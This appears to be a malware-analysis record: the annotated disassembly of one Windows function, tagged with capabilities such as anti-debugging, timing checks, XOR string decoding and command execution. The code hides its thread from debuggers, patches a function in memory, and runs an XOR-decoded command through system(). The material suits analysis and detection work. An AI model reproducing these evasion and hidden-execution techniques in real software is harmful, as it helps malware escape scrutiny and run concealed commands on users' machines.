Function at 0x14000fb30
Capabilities:
Allocate or change rwx memory
Check for peb beingdebugged flag
Check for time delay via queryperformancecounter
Encode data using xor
Execute command
Execute shellcode via indirect call
Hide thread from debugger

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
sub rsp, 0xd0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1401b4a40]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov rax, qword gs:[0x60]
lea rcx, str.kernel32.dll
mov byte [rax + 2], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140109d78]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp + 0x28]
mov edx, 3
mov rcx, rax
mov r8d, 0x40
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov word [rbx], 0xc031
lea r9, [rbp + 0x28]
mov byte [rbx + 2], 0xc3
mov edx, 3
mov r8d, dword [rbp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.140014b80
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14000fc02
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov edx, reloc.WS2_32.dll_recvfrom
call rbx
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ebx, ebx
mov dword [rbp + 0x28], ebx
mov eax, dword [rbp + 0x28]
nop
mov eax, dword [rbp + 0x28]
inc eax
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x28]
cmp eax, 0xf4240
jl 0x14000fc20
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp + 0x30]
xorps xmm1, xmm1
sub rax, qword [rbp + 0x38]
xorps xmm0, xmm0
cvtsi2sd xmm0, qword [rbp + 0x20]
cvtsi2sd xmm1, rax
divsd xmm1, xmm0
comisd xmm1, xmmword [0x14010b7b8]
jbe 0x140010019
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmm3, xmmword [str.mSVUSY]
movzx eax, byte [0x140109e90]
movsd xmm0, qword [0x140109e88]
movups xmmword [rbp], xmm3
mov byte [rbp + 0x18], al
movsd qword [rbp + 0x10], xmm0
jl 0x14000feec
movdqa xmm5, xmmword [0x14010b9f0]
movdqa xmm2, xmmword [0x14010b8a0]
movdqa xmm6, xmmword [str.4444]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x14010b960]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movdqa xmm7, xmmword [str.9999999999999999]
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
movd eax, xmm3
movdqa xmm3, xmmword [0x14010b8c0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
xorps xmm2, xmm0
movd dword [rbp], xmm2
movdqa xmm2, xmmword [0x14010b8b0]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmm6
psubd xmm2, xmm0
punpckldq xmm1, xmm3
movd xmm0, dword [rbp + 4]
andps xmm2, xmm4
pmuldq xmm1, xmm5
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
movd dword [rbp + 4], xmm2
movdqa xmm2, xmmword [0x14010b8d0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm6
psubd xmm3, xmm0
punpckldq xmm1, xmm2
movd xmm0, dword [rbp + 8]
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
pmuldq xmm1, xmm5
paddb xmm3, xmm7
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
movd dword [rbp + 8], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
movdqa xmm3, xmmword [0x14010b8e0]
psubd xmm2, xmm0
movd xmm0, dword [rbp + 0xc]
andps xmm2, xmm4
packuswb xmm2, xmm2
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
mov ebx, 0x18
packuswb xmm2, xmm2
paddb xmm2, xmm7
pmuldq xmm1, xmm5
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
movd dword [rbp + 0xc], xmm2
movdqa xmm2, xmmword [0x14010b8f0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm6
psubd xmm3, xmm0
punpckldq xmm1, xmm2
movd xmm0, dword [rbp + 0x10]
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
pmuldq xmm1, xmm5
paddb xmm3, xmm7
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
movd dword [rbp + 0x10], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, dword [rbp + 0x14]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm7
xorps xmm2, xmm0
movd dword [rbp + 0x14], xmm2
mov eax, ebx
lea r8, [rbp]
add r8, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, bl
inc ebx
sub al, dl
add al, 0x39
xor byte [r8 - 1], al
cmp ebx, 0x19
jl 0x14000ff00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp]
call fcn.140002280
lea rdx, [0x140007220]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rax, 0x8516e47d421a5e2b
lea rcx, [rbp]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp], rax
movabs rax, 0x9db2adaf0ca3e198
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 8], rax
movabs rax, 0x655a39ec99750f1
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x10], rax
movabs rax, 0xfe30c31162efead2
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x18], rax
movabs rax, 0xe97a8d1629693f7f
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x40], rax
movabs rax, 0xfec4de8f41eaceb8
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x48], rax
movabs rax, 0x632dc6b0bde43f99
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x50], rax
movabs rax, 0xfe30c3116289c5f2
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x58], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.140102cf0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret